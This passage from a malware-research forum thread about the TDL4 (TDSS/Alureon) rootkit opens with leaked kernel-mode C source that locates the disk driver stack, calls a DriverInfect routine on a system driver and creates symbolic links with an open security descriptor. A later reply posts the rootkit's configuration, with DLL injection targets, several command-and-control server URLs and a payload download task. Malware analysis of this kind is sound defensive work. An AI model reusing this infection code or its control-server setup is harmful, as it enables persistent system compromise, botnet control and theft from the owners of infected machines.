							for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++)
							{
								WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0};

								if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0')
									&&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0))
								{
									WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0};
									HANDLE hVolumeDevice;
									IO_STATUS_BLOCK iosbStatus;

									ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS;
									_snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName);
									RtlInitUnicodeString(&usName,wcVolumeDevice);
									if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
									{
										PFILE_OBJECT pfoDriver;

										ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES;
										if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0)))
										{
											WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
											WCHAR wcPath[MAX_PATH];
											HANDLE hDriver;

											GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo;
											while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0)
											{
												GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo;
											}
											GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject;
											_snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
											ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver);
											if(NT_SUCCESS(ntsStatus))
											{
												WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0};
												WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0};
												HANDLE hLink;
												UNICODE_STRING usLink;
												
												
												SECURITY_DESCRIPTOR sdSecurity;
												
												RtlCreateSecurityDescriptor(&sdSecurity,SECURITY_DESCRIPTOR_REVISION);
												RtlSetDaclSecurityDescriptor(&sdSecurity,TRUE,(PACL)NULL,FALSE);
												
												GetEPNameOffset();
												ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver);
												if(NT_SUCCESS(ntsStatus))
												{
													RtlInitUnicodeString(&usName,wcLinkDriver);
													RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
													InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0);
													ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
													
													RtlInitUnicodeString(&usName,wcLinkDevice);
													RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice);
													InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity);
													ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
													ObfDereferenceObject(pfoDriver);
													ZwClose(hVolumeDevice);
													ntsStatus=STATUS_SECRET_TOO_LONG;
												}
											}
										}
										break;
									}
								}
							}
						}
						ExFreePool(pdbiInfo);
					}
					ZwClose(hVolumeDirectory);
				}
			}
			ZwClose(hVolumeLink);
		}
	}
	return ntsStatus;
}
EXTERN_C_END
NT_END

Source, originally dated back to feb 2011
VFS definitions etc can be ripped from old AV articles.
Ring0 - the source of inspiration

PX5
Posts: 144
Joined: Thu Apr 29, 2010 1:14 am

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by PX5 » Thu Mar 17, 2011 9:10 am

Code: Select all

[main]
version=0.03
aid=30000
sid=1
builddate=351
rnd=1993962763
knt=1300310181
[inject]
*=cmd.dll
* (x64)=cmd64.dll
svchost.exe=socks.dll
[cmd]
srv=https://lkaturl71.com/;https://69b69b6b96b.com/;https://ikaturi11.com/;https://countri1l.com/;https://1il1il1il.com/
wsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/
psrv=http://crj71ki813ck.com/
version=0.172
bsh=3ebd840dd90f16c8b3761cfc7f841f8d4ac2dc14
delay=7200
csrv=http://lkckclcklii1i.com/
ksrv=http://95.143.193.171/
[tasks]
1CBE41F65D4B8F0=2|2||http://91.212.226.33/rvV4Wpl644JHbU4Mzg5fGRvd25sb2Fk37g.gif
You do not have the required permissions to view the files attached to this post.
Arrogance led me to my Ignorance

markusg
Posts: 734
Joined: Mon Mar 15, 2010 2:53 pm

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by markusg » Thu Mar 17, 2011 11:53 am

You do not have the required permissions to view the files attached to this post.

markusg
Posts: 734
Joined: Mon Mar 15, 2010 2:53 pm

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by markusg » Thu Mar 17, 2011 2:25 pm

You do not have the required permissions to view the files attached to this post.

Post Reply